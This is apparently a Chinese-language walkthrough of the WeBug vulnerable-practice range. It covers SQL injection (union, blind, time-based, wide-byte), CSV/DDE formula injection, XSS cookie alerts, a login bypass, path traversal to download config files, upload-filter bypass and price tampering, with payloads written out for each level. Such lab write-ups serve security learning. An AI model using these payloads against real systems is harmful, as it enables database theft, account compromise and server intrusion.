首先整体浏览网站
注入点:
control/sqlinject/manifest_error.php?id=1
判断注入类型
输入: and 1=1 正常, 再输入: and 1=2 还正常, 排除数字型
输入单引号: ' 网页发生变化
输入’ -- q注释掉单引号,页面回显正常 则为字符型
判断字段数
构造payload:
' order by 3-- q
页面回显错误,而order by 2则回显正常,所以字段数为2
查找回显点
构造payload:
' union select 1,2 -- q
我们可以在2处得到我们想要的内容
查询数据库
' union select 1,database() -- q
为webug
查询所有数据库
' union select 1,group_concat(schema_name) from information_schema.schemata -- q
为information_schema,mysql,performance_schema,webug,webug_sys,webug_width_byte
查询数据库webug中的表
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' -- q
为data_crud,env_list,env_path,flag,sqlinjection,user,user_test
查看flag表的所有字段
' union select 1,group_concat(column_name) from information_schema.columns where table_schema='webug' and table_name='flag'-- q
为id,flag
查看flag字段的内容
' union select 1,group_concat(flag) from flag-- q
为dfafdasfafdsadfa
输入单引号: ' 网页发生变化
输入’ -- q注释掉单引号,页面回显正常 则为字符型
判断数据库长度为5
id=1' and length(database())=5--+
爆破数据库名字为webug
id=1' and ascii(substr(database(),1,1))=119 --+
判断当前数据库表数量为7
id=1' and (select count(*) from information_schema.tables where table_schema=database())=7--+
判断第二张表,表名的长度为8
id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+
爆破第二张表表名 第一个字符的ascii码值:101
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101--+
爆破出8个ascii值为:101 110 118 95 108 105 115 116 解码为env_list
猜解env_list的字段数量为8
id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')=8--+
猜解env_list第一个列名字符长度为2
id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2--+
猜解env_list第二个列名字符长度为7
id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 1,1)=7--+
猜解env_list第五个列名字符长度
id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 5,1)=7--+
爆破第五个列名,第一个字符的ascii为101
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101--+
爆破第五个列名,第二个字符的ascii
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),2,1))=110--+
爆破了7个字符,ascii码为101 110 118 70 108 97 103
解码后等于envFlag
猜解envFlag字段的记录为20
id=1' and (select count(envFlag) from env_list)=20--+
猜解envFlag字段第一条字段的字符数为16
id=1' and (select length(envFlag) from env_list limit 0,1)=16--+
猜解envFlag字段第二条字段有多少个字符
id=1' and (select length(envFlag) from env_list limit 1,1)=9--+
猜解flag
id=1' and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102--+
id=1' and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100--+
最终爆破完flag的ascii值:
102 100 115 97 102 115 100 102 97
解码为:
fdsafsdfa
延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。
可以看到我以下payload的规则:
1' and if(/*!上一关盲注语句*/,sleep(3),1)--+
出现延迟,说明存在注入
1' and sleep(3)--+
判断数据库字符长度
1' and if(length(database())=5,sleep(3),1)--+
爆破数据库名
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+
1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)--+
判断当前数据库表数量
1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)--+
判断第一张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)--+
判断第二张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)--+
爆破第二张表表名
第一个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)--+
第二个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)--+
猜解表有多少个字段
1' and if((select count(column_name) from information_schema.columns where table_name='env_list')=8,sleep(3),1)--+
猜解表的第一个列名字符长度
1' and if((select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2,sleep(3),1)--+
爆破第五个列名,第一个字符的ascii
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101,sleep(3),1)--+
爆破第五个列名,第二个字符的ascii
猜解envFlag字段有多少条记录
1' and if((select count(envFlag) from env_list)=20,sleep(3),1)--+
猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)
1' and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)--+
猜解flag
1' and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)--+
1' and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)--+
最后flag的ASCII码值为:
103 102 100 103 100 102 115 100 103
解码:
gfdgdfsdg
首先整体浏览网页
搜索框可能存在注入点,burp抓包,构造payload:
1'
出现报错
构造payload:
1' or sleep(3)--+
页面出现延迟
剩下的操作和上一关一样 ,只需要将and改成or即可。
同上,并没有过滤。
报错
id=1%df%27
如下
正常显示
id=1%df%27--+
如下
查看当前字段数,字段数为2
id=1%df%27 order by 2--+
如下
查看显示位
id=1%df%27 and 1=2 union select 1,2--+
我们可以在2处获得我们想要的内容
查看所有数据库
id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata--+
为information_schema~mysql~performance_schema~webug~webug_sys~webug_width_byte~
查看webug数据库下的所有表
id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+
为data_crud,env_list,env_path,flag,sqlinjection,user,user_test
查看env_list表下所有字段
id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374--+
为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
查看flag
id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1--+
为dfsadfsadfas
整体浏览网站
因为是xxe注入,所以直接输入xml格式数据传输过去
<?xml version="1.0"?> <helo> <batch id="test"> <title>xxe</title> <test>xxe test</test> </batch> </helo>
可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。
1、什么是csv注入?
CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。
2.cvs注入的原理时是什么?
当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。
3.什么是DDE?
DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。
构造payload:
=cmd|' /C calc'!A0
在单元格中输入
按下回车键,会出现恶意提示
点击是,会弹出计算器
整体浏览网页
可以看到1是我们可控制点
pyaload:
id=1<script>alert(document.cookie)</script>
成功弹窗
整体浏览网页,可以看到最后有一个留言框
构造payload:
<script>alert(document.cookie)</script>
成功弹窗
整体浏览网页
账号:admin
密码:' or '1'='1
打开靶场,可以看到输入框
构造payload:
"required=" "><script>alert(document.cookie)</script><name="
成功弹窗
过滤了script字符
换个标签:
<img src=1 onerror=alert(document.cookie)>
成功弹窗
"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。
在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。
“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。
整体浏览网页
构造payload:
id=<a href="http://baidu.com">baidu</a>
成功将百度嵌入到页面中
打开网页,看到下载按钮
鼠标右键,点击复制链接地址
构造payload:
file=template/assets/img/1.txt
file=index.php
可以下载index.php,看到php源码
此题与上题原理相同,不过题目是需要我们下载mysql的配置文件
../mysql/时,执行了下载命令,说明存在mysql目录
file=../mysql/
直接下载my.ini
file=../mysql/my.ini
成功下载
整体浏览网页,选择php类型的文件时会显示不允许上传
将phpinfo后缀名修改为png,burp抓包
将后缀名重新修改为php
点击上传,得到文件路径
成功访问
将文件命名为:
phpinfo.png
burp抓包后将文件名改成.pphphp
phpinfo.pphphp
即可绕过
访问路径
/template/upload/1616405351.php
上传成功
进入靶场,点击立刻购买时,可以看到我们直接购买了商品
打开burp suite,点击立刻购买时,拦截数据包
可以看到金额为100,我们修改成0.01,然后发包,提示我们花了0.01购买了商品
输入邮箱,点击注册,然后利用burp suite进行抓包
发送到intruder模块
设置payload:
选择Null payload
输入发送次数,20次
整体浏览网页
复制链接地址
构造payload:
成功跳转
整体浏览网站,本身就已经证明了是包含漏洞
构造payload:
filename=../../control/upload_file/upload_file_3.php
成功跳转到文件上传页面
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。